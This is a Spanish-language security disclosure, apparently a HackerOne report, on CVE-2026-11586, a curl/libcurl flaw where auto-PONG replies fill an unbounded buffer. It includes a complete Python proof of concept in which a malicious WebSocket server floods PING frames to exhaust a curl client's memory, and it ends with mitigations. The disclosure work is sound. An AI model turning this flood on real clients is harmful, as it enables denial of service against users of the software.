Resumen
Cuando curl y libcurl abren una conexión WebSocket, responden de forma automática a cada trama PING que reciben con una trama PONG, salvo que la aplicación active la opción CURLWS_NOAUTOPONG. El investigador evergarden1123 descubrió que esas respuestas automáticas se encolaban en un búfer de envío interno sin un límite efectivo, lo que permitía a un servidor WebSocket malicioso agotar la memoria del proceso cliente. El fallo recibió el identificador CVE-2026-11586 y se clasificó con severidad baja.
El problema está en lib/ws.c. La función que prepara el PONG lo añade a ws->sendbuf y descarta el resultado del intento de vaciado del búfer (ws_flush). Ese búfer se inicializa con la opción BUFQ_OPT_SOFT_LIMIT, es decir, con un límite "blando" que no detiene de forma dura la acumulación:
/* lib/ws.c */
if(!ws->enc.payload_remain) {
CURLcode result = ws_enc_add_pending(data, ws);
if(!result)
(void)ws_flush(data, ws, Curl_is_in_callback(data));
return result;
}
/* sendbuf usa BUFQ_OPT_SOFT_LIMIT */
Curl_bufq_init2(&ws->sendbuf, chunk_size, WS_CHUNK_COUNT, BUFQ_OPT_SOFT_LIMIT);
Como el servidor deja de leer los datos del cliente, los PONG generados no se pueden enviar y se quedan acumulados en el búfer. Al no existir contrapresión (backpressure) real, la cola sigue creciendo mientras lleguen más PING.
Pasos de reproducción
El investigador aporta una prueba de concepto autónoma en Python que levanta un pequeño servidor WebSocket malicioso y lanza curl contra él. El servidor completa el handshake WebSocket válido, deja de leer los datos del cliente y envía de forma continua tramas PING vacías (\x89\x00). Para evidenciar el agotamiento, se impone al proceso de curl un límite de espacio de direcciones de 180 MiB con RLIMIT_AS:
CURL_BIN="${CURL_BIN:-./build-codex-h2-nosan/src/curl}" python3 - <<'PY'
import base64, hashlib, os, re, resource, socket, subprocess, threading, time
st = {}
def srv():
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1", 0))
s.listen(1)
st["p"] = s.getsockname()[1]
c, _ = s.accept()
c.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 4096)
req = b""
while b"\r\n\r\n" not in req:
req += c.recv(4096)
k = re.search(rb"(?im)^Sec-WebSocket-Key:\s*(\S+)", req).group(1)
a = base64.b64encode(
hashlib.sha1(k + b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11").digest()
).decode()
c.sendall(
(
"HTTP/1.1 101 Switching Protocols\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
f"Sec-WebSocket-Accept: {a}\r\n\r\n"
).encode()
)
f = b"\x89\x00" * 65536
try:
while True:
c.sendall(f)
except OSError:
pass
threading.Thread(target=srv, daemon=True).start()
while "p" not in st:
time.sleep(0.01)
rc = subprocess.run(
[
os.environ["CURL_BIN"],
"--silent",
"--show-error",
"--max-time",
"8",
f"ws://127.0.0.1:{st['p']}/",
],
preexec_fn=lambda: resource.setrlimit(
resource.RLIMIT_AS, (188743680, 188743680)
),
).returncode
print("curl rc =", rc)
PY
El resultado esperado es que curl termine por falta de memoria:
curl: (27) Out of memory
curl rc = 27
El investigador observó que, incluso con --max-time 8, la ruta por defecto de la línea de comandos alcanzaba alrededor de 1 GiB de RSS en unos 2 segundos en local (en concreto, unos 1,05 GiB en torno a 1,96 segundos antes de que el verificador lo detuviera). Un cliente de control configurado con CURLWS_NOAUTOPONG procesó la misma entrada sin un crecimiento de memoria comparable.
Impacto
Un servidor WebSocket remoto podía forzar el crecimiento sin límite de la cola interna de PONG automáticos de curl y agotar el presupuesto de memoria del proceso cliente usando únicamente entrada de protocolo legítima tras un handshake válido. Según la memoria disponible y los límites de ejecución, esto podía:
- Terminar la herramienta de línea de comandos curl con
CURLE_OUT_OF_MEMORY(código de salida 27). - Disparar la gestión de OOM del sistema o del contenedor.
- Provocar un fallo en una aplicación que usara libcurl.
El problema afectaba al comportamiento WebSocket por defecto y no requería mal uso de la API, acceso local ni tramas mal formadas. Según el triaje preliminar del investigador, la ruta vulnerable de encolado de los PONG automáticos se introdujo con el commit 0b09132877 ("websocket: handling of PONG frames"); la primera versión publicada que parece contenerla es la 8.16.0, mientras que la 8.15.x y anteriores no incluirían esta misma implementación.
Remediación
El reporte figura como resuelto en HackerOne. Como mitigaciones mientras tanto, el investigador propone:
- Usar un
--max-time/CURLOPT_TIMEOUTmás pequeño si la transferencia WebSocket no necesita permanecer abierta mucho tiempo. Esto solo reduce la ventana de ataque: no añade contrapresión. - Activar
CURLWS_NOAUTOPONGsi la aplicación puede gestionar por sí misma las tramasPING, ya que así se evita por completo la ruta vulnerable de respuesta automática.